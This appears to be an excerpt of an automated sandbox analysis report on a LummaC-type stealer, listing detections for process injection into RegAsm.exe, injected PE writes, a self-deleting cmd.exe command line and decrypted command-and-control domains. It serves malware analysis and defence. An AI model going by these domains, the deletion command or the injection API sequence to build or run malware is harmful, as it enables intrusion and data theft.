HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: d4BihqytT0FhOpDvoGEczZzm.exe PID: 5504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AAAKEBGDAF.exe PID: 5280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5140, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 66fb252fe232b_Patksl.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: 66fb252fe232b_Patksl.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: 66fb252fe232b_Patksl.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\userDHCAECGIEB.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\userBAKKEGCAAE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe

Code function: 0_2_02A52179 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_02A52179

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\userDHCAECGIEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\userBAKKEGCAAE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: HDGIJJDGCB.exe, 00000018.00000002.3059990667.0000000003DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: absorptioniw.site
Source: HDGIJJDGCB.exe, 00000018.00000002.3059990667.0000000003DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: mysterisop.site
Source: HDGIJJDGCB.exe, 00000018.00000002.3059990667.0000000003DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: snarlypagowo.site
Source: HDGIJJDGCB.exe, 00000018.00000002.3059990667.0000000003DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: treatynreit.site
Source: HDGIJJDGCB.exe, 00000018.00000002.3059990667.0000000003DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: chorusarorp.site
Source: HDGIJJDGCB.exe, 00000018.00000002.3059990667.0000000003DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: abnomalrkmu.site
Source: HDGIJJDGCB.exe, 00000018.00000002.3059990667.0000000003DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: soldiefieop.site
Source: HDGIJJDGCB.exe, 00000018.00000002.3059990667.0000000003DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: questionsmw.stor

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		7_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		7_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 56B000	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 592000	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 5D8000	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: EC3008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D45008	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44B000	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45E000	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: FD4008	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F17008
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 65C000
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1153008
Source: C:\Users\userDHCAECGIEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\userDHCAECGIEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\userDHCAECGIEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000
Source: C:\Users\userDHCAECGIEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000
Source: C:\Users\userDHCAECGIEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000
Source: C:\Users\userDHCAECGIEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000
Source: C:\Users\userDHCAECGIEB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1042008
Source: C:\Users\userBAKKEGCAAE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\userBAKKEGCAAE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\userBAKKEGCAAE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44B000
Source: C:\Users\userBAKKEGCAAE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000
Source: C:\Users\userBAKKEGCAAE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45E000
Source: C:\Users\userBAKKEGCAAE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 766008

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\HDGIJJDGCB.exe "C:\ProgramData\HDGIJJDGCB.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\EBKJDBAAKJ.exe "C:\ProgramData\EBKJDBAAKJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\AAAKEBGDAF.exe "C:\ProgramData\AAAKEBGDAF.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JDGCGDBGCAAE" & exit	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\AAAKEBGDAF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userDHCAECGIEB.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAKKEGCAAE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userDHCAECGIEB.exe "C:\Users\userDHCAECGIEB.exe"
Source: C:\Users\userDHCAECGIEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userDHCAECGIEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBAKKEGCAAE.exe "C:\Users\userBAKKEGCAAE.exe"
Source: C:\Users\userBAKKEGCAAE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userBAKKEGCAAE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_6C724760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

7_2_6C724760

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_6C601C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

7_2_6C601C30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0053E01E cpuid

3_2_0053E01E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	3_2_00560274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_00560479
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_0056056B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00560520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00560606
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_00560691
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_0055A725
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoEx,FormatMessageA,	3_2_0053F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_005608E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_00560A0D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_00560B13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_0055ABF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00560BE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	7_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_0042B0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	7_2_0042B1C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	7_2_00429A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	7_2_0042B268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	7_2_0042B2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	7_2_0042AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	7_2_004253E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	7_2_0042B494
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	7_2_0042749C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesA,	7_2_0042B556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	7_2_00429D6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	7_2_0042E56F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	7_2_00427576
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	7_2_00428DC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_0042B5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_0042B580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	7_2_0042B623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	7_2_0042E6A4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Queries volume information: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Queries volume information: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Queries volume information: C:\ProgramData\HDGIJJDGCB.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Queries volume information: C:\ProgramData\EBKJDBAAKJ.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\AAAKEBGDAF.exe	Queries volume information: C:\ProgramData\AAAKEBGDAF.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\userDHCAECGIEB.exe	Queries volume information: C:\Users\userDHCAECGIEB.exe VolumeInformation
Source: C:\Users\userBAKKEGCAAE.exe	Queries volume information: C:\Users\userBAKKEGCAAE.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
